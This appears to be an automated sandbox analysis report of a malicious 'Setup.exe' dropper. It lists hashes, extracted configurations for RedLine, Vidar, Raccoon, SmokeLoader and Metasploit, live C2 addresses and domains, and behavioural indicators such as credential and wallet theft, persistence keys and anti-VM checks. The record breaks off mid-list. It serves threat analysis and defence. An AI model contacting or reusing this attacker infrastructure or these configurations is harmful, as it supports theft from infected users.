Resubmissions
03-09-2021 12:16
210903-pfn3ysdac4 1003-09-2021 04:55
210903-fj6mqsfbfk 1002-09-2021 19:23
210902-x37sksbef5 1002-09-2021 15:02
210902-senycadeck 1002-09-2021 11:29
210902-4b2x2c3ahj 1002-09-2021 05:46
210902-lng5vcn31n 1002-09-2021 04:57
210902-gp7zs88ann 1001-09-2021 17:32
210901-sgcvvtysvs 1031-08-2021 12:57
210831-1v8aywj16x 1031-08-2021 07:34
210831-n7h9w45r3x 10Analysis
-
max time kernel
1312s -
max time network
1355s -
platform
windows10_x64 -
resource
win10-fr -
submitted
02-09-2021 19:23
Static task
static1
Behavioral task
behavioral1
Sample
Setup.exe
Resource
win11
Behavioral task
behavioral2
Sample
Setup.exe
Resource
win10v20210408
Behavioral task
behavioral3
Sample
Setup.exe
Resource
win10-jp
Behavioral task
behavioral4
Sample
Setup.exe
Resource
win10-fr
Behavioral task
behavioral5
Sample
Setup.exe
Resource
win10-en
Behavioral task
behavioral6
Sample
Setup.exe
Resource
win10-de
General
-
Target
Setup.exe
-
Size
631KB
-
MD5
cb927513ff8ebff4dd52a47f7e42f934
-
SHA1
0de47c02a8adc4940a6c18621b4e4a619641d029
-
SHA256
fd5c970806fba1500cbb6af5328329aeb43b8de3f02d90ec5d8cd1d57711622f
-
SHA512
988c8fd886a9155b7d190faf2ce6b34d910efcffcf1c6251f18a9d0c804a0ea26a89679273033ac98b200363c536426efd1ae9de445c34e660369abb06f0071c
Malware Config
Extracted
raccoon
7ec37c4e52b45215a7a83ab1f127b87c27384d9a
-
url4cnc
https://telete.in/bimboDinotrex
Extracted
redline
NORMAN3
45.14.49.184:28743
Extracted
vidar
40.4
937
https://romkaxarit.tumblr.com/
-
profile_id
937
Extracted
redline
02_09_fat
185.215.113.104:18754
Extracted
metasploit
windows/single_exec
Extracted
smokeloader
2020
http://readinglistforaugust1.xyz/
http://readinglistforaugust2.xyz/
http://readinglistforaugust3.xyz/
http://readinglistforaugust4.xyz/
http://readinglistforaugust5.xyz/
http://readinglistforaugust6.xyz/
http://readinglistforaugust7.xyz/
http://readinglistforaugust8.xyz/
http://readinglistforaugust9.xyz/
http://readinglistforaugust10.xyz/
http://readinglistforaugust1.site/
http://readinglistforaugust2.site/
http://readinglistforaugust3.site/
http://readinglistforaugust4.site/
http://readinglistforaugust5.site/
http://readinglistforaugust6.site/
http://readinglistforaugust7.site/
http://readinglistforaugust8.site/
http://readinglistforaugust9.site/
http://readinglistforaugust10.site/
http://readinglistforaugust1.club/
http://readinglistforaugust2.club/
http://readinglistforaugust3.club/
http://readinglistforaugust4.club/
http://readinglistforaugust5.club/
http://readinglistforaugust6.club/
http://readinglistforaugust7.club/
http://readinglistforaugust8.club/
http://readinglistforaugust9.club/
http://readinglistforaugust10.club/
Extracted
redline
1
37.0.8.88:44263
Extracted
redline
test
45.14.49.169:22411
Signatures
-
Glupteba Payload 2 IoCs
Processes:
resource yara_rule behavioral4/memory/4356-392-0x00000000037C0000-0x00000000040E7000-memory.dmp family_glupteba behavioral4/memory/4356-449-0x0000000000400000-0x0000000002F73000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
-
Modifies system executable filetype association 2 TTPs 3 IoCs
Processes:
OneDriveSetup.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx\ = "{CB3D0F55-BC2C-4C1A-85ED-23ED75B5106B}" OneDriveSetup.exe Key deleted \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000_Classes\lnkfile\shellex\ContextMenuHandlers\ FileSyncEx OneDriveSetup.exe -
Process spawned unexpected child process 4 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
rundll32.exerUNdlL32.eXerundll32.exerUNdlL32.eXedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 6400 5396 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 10192 5396 rUNdlL32.eXe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 15256 5396 rundll32.exe Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 29204 5396 rUNdlL32.eXe -
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 21 IoCs
Processes:
resource yara_rule behavioral4/memory/4920-263-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral4/memory/4920-265-0x000000000041C5C2-mapping.dmp family_redline behavioral4/memory/5088-280-0x0000000002E70000-0x0000000002E8F000-memory.dmp family_redline behavioral4/memory/5088-298-0x00000000049F0000-0x0000000004A0E000-memory.dmp family_redline behavioral4/memory/4156-293-0x000000000041C5BA-mapping.dmp family_redline behavioral4/memory/4984-334-0x000000000041C5C2-mapping.dmp family_redline behavioral4/memory/4780-357-0x000000000041C5BE-mapping.dmp family_redline behavioral4/memory/5548-399-0x000000000041C5BE-mapping.dmp family_redline behavioral4/memory/5684-417-0x000000000041C5BA-mapping.dmp family_redline behavioral4/memory/5564-404-0x000000000041C5C2-mapping.dmp family_redline behavioral4/memory/4468-309-0x000000000041C5BE-mapping.dmp family_redline behavioral4/memory/4168-462-0x000000000041C5BE-mapping.dmp family_redline behavioral4/memory/4468-303-0x0000000000400000-0x000000000044A000-memory.dmp family_redline behavioral4/memory/4156-290-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral4/memory/2144-500-0x000000000041C5BA-mapping.dmp family_redline behavioral4/memory/1340-496-0x000000000041C5BE-mapping.dmp family_redline behavioral4/memory/668-524-0x000000000041C5C2-mapping.dmp family_redline behavioral4/memory/2872-534-0x000000000041C5BA-mapping.dmp family_redline behavioral4/memory/6208-560-0x000000000041C5C2-mapping.dmp family_redline behavioral4/memory/6360-585-0x000000000041C5BA-mapping.dmp family_redline behavioral4/memory/6348-582-0x000000000041C5BE-mapping.dmp family_redline -
Registers COM server for autorun 1 TTPs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Suspicious use of NtCreateProcessExOtherParentProcess 2 IoCs
Processes:
WerFault.exeWerFault.exedescription pid process target process PID 5796 created 4116 5796 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe PID 6948 created 4448 6948 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
svchost.exedescription pid process target process PID 4188 created 2600 4188 svchost.exe OneDriveSetup.exe -
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
Processes:
resource yara_rule behavioral4/memory/2536-250-0x0000000004850000-0x0000000004923000-memory.dmp family_vidar behavioral4/memory/2536-268-0x0000000000400000-0x0000000002BB0000-memory.dmp family_vidar -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
Processes:
OneDriveSetup.exeOneDriveSetup.exeFileSyncConfig.exeIX2y0zQpkRJYxkmE_yA6pkzX.exeOZh9vK7V0KZTJFWTZZBce7SX.exe0owlM_QtHd1DBA9oA1tl9W7c.exesESY91JEVsE3WTwiqa3XtOdv.exesNkTblinrlq2kPml3ZtF0WB3.exevibKc0F9sMr3HW5E3dsZbcrm.exeXqWCCUXJD3SL0eVrjwP835FS.exegneAn28U2Xt5kdWpYdwmdxe7.exe80xZc0N6ntVTx2jU4_2jwHUh.exeDrjWG6j3GQJaGYEO4I9nwupp.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exekeehp1slUqQ6eGFYCBLjMqZ1.exe30X0JyTHZ4ptVyQ6OOKMvyE6.exepHrjFn0JghHcSzNSYVgSAwye.exefQylBLHUzMNuy5iD6JfMy1eS.exe6AdFGi0UHc2Z_uw6Lp_d7TDO.exeK3VJtrEgekghv8LvFcsboLmQ.exeUfcjirObztjrJz8CwcdP9BfO.exemWQ9j0HNTxxR49YL0zL9N7la.exegmK2nJSVt9iUGTMn4saktDSK.exegmK2nJSVt9iUGTMn4saktDSK.tmpinst001.executm3.exemd8_8eus.exe0owlM_QtHd1DBA9oA1tl9W7c.exeXqWCCUXJD3SL0eVrjwP835FS.exepHrjFn0JghHcSzNSYVgSAwye.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exeXqWCCUXJD3SL0eVrjwP835FS.exepHrjFn0JghHcSzNSYVgSAwye.exeK3VJtrEgekghv8LvFcsboLmQ.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exeXqWCCUXJD3SL0eVrjwP835FS.exepHrjFn0JghHcSzNSYVgSAwye.exe8927558.exe2349883.exe4261029.exe1111657.exe1975493.exeSetup.exe1251436.exe6799706.exe8500963.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exeXqWCCUXJD3SL0eVrjwP835FS.exepHrjFn0JghHcSzNSYVgSAwye.exeX4d4XArNWDu.eXEXqWCCUXJD3SL0eVrjwP835FS.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exepHrjFn0JghHcSzNSYVgSAwye.exeXqWCCUXJD3SL0eVrjwP835FS.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exepHrjFn0JghHcSzNSYVgSAwye.exeXqWCCUXJD3SL0eVrjwP835FS.exeWinHoster.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exepHrjFn0JghHcSzNSYVgSAwye.exeXqWCCUXJD3SL0eVrjwP835FS.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exepHrjFn0JghHcSzNSYVgSAwye.exeXqWCCUXJD3SL0eVrjwP835FS.exepid process 2600 OneDriveSetup.exe 4216 OneDriveSetup.exe 4472 FileSyncConfig.exe 5076 IX2y0zQpkRJYxkmE_yA6pkzX.exe 5088 OZh9vK7V0KZTJFWTZZBce7SX.exe 3176 0owlM_QtHd1DBA9oA1tl9W7c.exe 2872 sESY91JEVsE3WTwiqa3XtOdv.exe 2536 sNkTblinrlq2kPml3ZtF0WB3.exe 3088 vibKc0F9sMr3HW5E3dsZbcrm.exe 4224 XqWCCUXJD3SL0eVrjwP835FS.exe 4116 gneAn28U2Xt5kdWpYdwmdxe7.exe 820 80xZc0N6ntVTx2jU4_2jwHUh.exe 4356 DrjWG6j3GQJaGYEO4I9nwupp.exe 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 4448 keehp1slUqQ6eGFYCBLjMqZ1.exe 4508 30X0JyTHZ4ptVyQ6OOKMvyE6.exe 4504 pHrjFn0JghHcSzNSYVgSAwye.exe 4540 fQylBLHUzMNuy5iD6JfMy1eS.exe 4236 6AdFGi0UHc2Z_uw6Lp_d7TDO.exe 4100 K3VJtrEgekghv8LvFcsboLmQ.exe 4148 UfcjirObztjrJz8CwcdP9BfO.exe 4820 mWQ9j0HNTxxR49YL0zL9N7la.exe 752 gmK2nJSVt9iUGTMn4saktDSK.exe 2840 gmK2nJSVt9iUGTMn4saktDSK.tmp 4708 inst001.exe 3172 cutm3.exe 2456 md8_8eus.exe 4796 0owlM_QtHd1DBA9oA1tl9W7c.exe 4920 XqWCCUXJD3SL0eVrjwP835FS.exe 4156 pHrjFn0JghHcSzNSYVgSAwye.exe 4468 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 4984 XqWCCUXJD3SL0eVrjwP835FS.exe 4868 pHrjFn0JghHcSzNSYVgSAwye.exe 5216 K3VJtrEgekghv8LvFcsboLmQ.exe 4780 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 4648 XqWCCUXJD3SL0eVrjwP835FS.exe 5172 pHrjFn0JghHcSzNSYVgSAwye.exe 5752 8927558.exe 5788 2349883.exe 5808 4261029.exe 5872 1111657.exe 5908 1975493.exe 5892 Setup.exe 5968 1251436.exe 6028 6799706.exe 4132 8500963.exe 5548 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 5564 XqWCCUXJD3SL0eVrjwP835FS.exe 5684 pHrjFn0JghHcSzNSYVgSAwye.exe 5236 X4d4XArNWDu.eXE 1940 XqWCCUXJD3SL0eVrjwP835FS.exe 4168 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 5044 pHrjFn0JghHcSzNSYVgSAwye.exe 3612 XqWCCUXJD3SL0eVrjwP835FS.exe 1340 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 2144 pHrjFn0JghHcSzNSYVgSAwye.exe 668 XqWCCUXJD3SL0eVrjwP835FS.exe 6180 WinHoster.exe 4608 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 2872 pHrjFn0JghHcSzNSYVgSAwye.exe 6208 XqWCCUXJD3SL0eVrjwP835FS.exe 6348 HPtdGkvgCwJkk5NKbwdbNFdQ.exe 6360 pHrjFn0JghHcSzNSYVgSAwye.exe 6652 XqWCCUXJD3SL0eVrjwP835FS.exe -
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
6AdFGi0UHc2Z_uw6Lp_d7TDO.exe30X0JyTHZ4ptVyQ6OOKMvyE6.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 6AdFGi0UHc2Z_uw6Lp_d7TDO.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 6AdFGi0UHc2Z_uw6Lp_d7TDO.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion 30X0JyTHZ4ptVyQ6OOKMvyE6.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion 30X0JyTHZ4ptVyQ6OOKMvyE6.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
Setup.exeSetup.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation Setup.exe Key value queried \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Control Panel\International\Geo\Nation Setup.exe -
Loads dropped DLL 13 IoCs
Processes:
FileSyncConfig.exegmK2nJSVt9iUGTMn4saktDSK.tmp80xZc0N6ntVTx2jU4_2jwHUh.exerundll32.exesNkTblinrlq2kPml3ZtF0WB3.exepid process 4472 FileSyncConfig.exe 4472 FileSyncConfig.exe 4472 FileSyncConfig.exe 4472 FileSyncConfig.exe 4472 FileSyncConfig.exe 4472 FileSyncConfig.exe 4472 FileSyncConfig.exe 2840 gmK2nJSVt9iUGTMn4saktDSK.tmp 2840 gmK2nJSVt9iUGTMn4saktDSK.tmp 820 80xZc0N6ntVTx2jU4_2jwHUh.exe 6436 rundll32.exe 2536 sNkTblinrlq2kPml3ZtF0WB3.exe 2536 sNkTblinrlq2kPml3ZtF0WB3.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Processes:
resource yara_rule C:\Users\Admin\Documents\30X0JyTHZ4ptVyQ6OOKMvyE6.exe themida behavioral4/memory/4508-249-0x0000000000CC0000-0x0000000000CC1000-memory.dmp themida behavioral4/memory/4236-255-0x0000000000BB0000-0x0000000000BB1000-memory.dmp themida C:\Users\Admin\Documents\6AdFGi0UHc2Z_uw6Lp_d7TDO.exe themida C:\Users\Admin\Documents\30X0JyTHZ4ptVyQ6OOKMvyE6.exe themida C:\Users\Admin\Documents\6AdFGi0UHc2Z_uw6Lp_d7TDO.exe themida -
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 4 IoCs
Processes:
OneDriveSetup.exe4261029.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\Update\\OneDriveSetup.exe\"" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\Delete Cached Standalone Update Binary = "C:\\Windows\\system32\\cmd.exe /q /c del /q \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdater\\OneDriveSetup.exe\"" OneDriveSetup.exe Set value (str) \REGISTRY\USER\S-1-5-21-2559286294-2439613352-4032193287-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe" 4261029.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Processes:
30X0JyTHZ4ptVyQ6OOKMvyE6.exe6AdFGi0UHc2Z_uw6Lp_d7TDO.exedescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 30X0JyTHZ4ptVyQ6OOKMvyE6.exe Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 6AdFGi0UHc2Z_uw6Lp_d7TDO.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 20 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 506 ipinfo.io 780 ipinfo.io 852 ipinfo.io 49 ipinfo.io 54 api.db-ip.com 284 ipinfo.io 361 ipinfo.io 362 ipinfo.io 1144 ipinfo.io 50 ipinfo.io 136 ipinfo.io 311 ipinfo.io 7271 geoiptool.com 53 api.db-ip.com 511 ipinfo.io 131 ip-api.com 138 ipinfo.io 288 ipinfo.io 470 ip-api.com 1143 ipinfo.io -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
30X0JyTHZ4ptVyQ6OOKMvyE6.exe6AdFGi0UHc2Z_uw6Lp_d7TDO.exepid process 4508 30X0JyTHZ4ptVyQ6OOKMvyE6.exe 4236 6AdFGi0UHc2Z_uw6Lp_d7TDO.exe -
Suspicious use of SetThreadContext 33 IoCs
Processes:
0owlM_QtHd1DBA9oA1tl9W7c.exeXqWCCUXJD3SL0eVrjwP835FS.exepHrjFn0JghHcSzNSYVgSAwye.exeHPtdGkvgCwJkk5NKbwdbNFdQ.exesvchost.exedescription pid process target process PID 3176 set thread context of 4796 3176 0owlM_QtHd1DBA9oA1tl9W7c.exe 0owlM_QtHd1DBA9oA1tl9W7c.exe PID 4224 set thread context of 4920 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4504 set thread context of 4156 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4444 set thread context of 4468 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4224 set thread context of 4984 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4444 set thread context of 4780 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4444 set thread context of 5548 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4224 set thread context of 5564 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4504 set thread context of 5684 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4444 set thread context of 4168 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4444 set thread context of 1340 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4504 set thread context of 2144 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4224 set thread context of 668 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4504 set thread context of 2872 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4224 set thread context of 6208 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 596 set thread context of 6596 596 svchost.exe svchost.exe PID 4444 set thread context of 6348 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4504 set thread context of 6360 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4224 set thread context of 6652 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4444 set thread context of 6832 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4504 set thread context of 6852 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4224 set thread context of 5096 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4444 set thread context of 6412 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4224 set thread context of 6776 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4504 set thread context of 4536 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4444 set thread context of 7124 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4224 set thread context of 924 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4504 set thread context of 1108 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4444 set thread context of 6324 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4224 set thread context of 5344 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe PID 4504 set thread context of 4704 4504 pHrjFn0JghHcSzNSYVgSAwye.exe pHrjFn0JghHcSzNSYVgSAwye.exe PID 4444 set thread context of 6756 4444 HPtdGkvgCwJkk5NKbwdbNFdQ.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe PID 4224 set thread context of 3884 4224 XqWCCUXJD3SL0eVrjwP835FS.exe XqWCCUXJD3SL0eVrjwP835FS.exe -
Drops file in Program Files directory 20 IoCs
Processes:
Setup.exemd8_8eus.exevibKc0F9sMr3HW5E3dsZbcrm.exeUfcjirObztjrJz8CwcdP9BfO.exedescription ioc process File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\VPN.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\Visit.url Setup.exe File created C:\Program Files (x86)\Company\NewProduct\d.jfm md8_8eus.exe File created C:\Program Files (x86)\Company\NewProduct\d md8_8eus.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d md8_8eus.exe File created C:\Program Files\Mozilla Firefox\DotNetZip-un3ewmfi.tmp vibKc0F9sMr3HW5E3dsZbcrm.exe File opened for modification C:\Program Files\Google\Chrome\Application\93.0.4577.63\resources.pak vibKc0F9sMr3HW5E3dsZbcrm.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\SmartPDF.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\9840432e051a6fa1192594db02b80a4c1fd73456.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\PBrowFile15.exe Setup.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\inst001.exe UfcjirObztjrJz8CwcdP9BfO.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\d.INTEG.RAW md8_8eus.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\lg.exe Setup.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\note866.exe Setup.exe File created C:\Program Files (x86)\Company\NewProduct\tmp.edb md8_8eus.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\cutm3.exe UfcjirObztjrJz8CwcdP9BfO.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\md8_8eus.exe UfcjirObztjrJz8CwcdP9BfO.exe File opened for modification C:\Program Files (x86)\Company\NewProduct\Uninstall.exe UfcjirObztjrJz8CwcdP9BfO.exe File created C:\Program Files (x86)\Company\NewProduct\Uninstall.ini UfcjirObztjrJz8CwcdP9BfO.exe File opened for modification C:\Program Files (x86)\SmartPDF\SmartPDF\stats.exe Setup.exe -
Drops file in Windows directory 3 IoCs
Processes:
MicrosoftEdge.exedescription ioc process File created C:\Windows\rescache\_merged\3720402701\2274612954.pri File opened for modification C:\Windows\Debug\ESE.TXT MicrosoftEdge.exe File created C:\Windows\rescache\_merged\3720402701\2274612954.pri MicrosoftEdge.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 64 IoCs
Processes:
WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exepid pid_target process target process 3768 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 5356 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 5708 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 5676 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 5652 820 WerFault.exe 80xZc0N6ntVTx2jU4_2jwHUh.exe 5336 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 5160 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 5300 5564 WerFault.exe XqWCCUXJD3SL0eVrjwP835FS.exe 5796 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 3944 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 6072 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 6084 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 2752 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 3820 4468 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 5736 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 4620 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 3284 4116 WerFault.exe gneAn28U2Xt5kdWpYdwmdxe7.exe 5140 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 4492 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 6896 6348 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 4540 6652 WerFault.exe XqWCCUXJD3SL0eVrjwP835FS.exe 5932 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 6948 4448 WerFault.exe keehp1slUqQ6eGFYCBLjMqZ1.exe 3952 5344 WerFault.exe XqWCCUXJD3SL0eVrjwP835FS.exe 7956 8088 WerFault.exe pHrjFn0JghHcSzNSYVgSAwye.exe 8268 9176 WerFault.exe HPtdGkvgCwJkk5NKbwdbNFdQ.exe 5476 7160 WerFault.exe pHrjFn0JghHcSzNSYVgSAwye.exe 10524 8656 WerFault.exe dI3jWwEhsS8bcxHKc9Vrdv2p.exe 10740 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 8988 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 11372 8656 WerFault.exe dI3jWwEhsS8bcxHKc9Vrdv2p.exe 11148 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 4476 8656 WerFault.exe dI3jWwEhsS8bcxHKc9Vrdv2p.exe 12700 8656 WerFault.exe dI3jWwEhsS8bcxHKc9Vrdv2p.exe 12796 8656 WerFault.exe dI3jWwEhsS8bcxHKc9Vrdv2p.exe 13120 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 12408 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 13440 4008 WerFault.exe 6vTmT3AzVoO_PiDma8QNJYDU.exe 14276 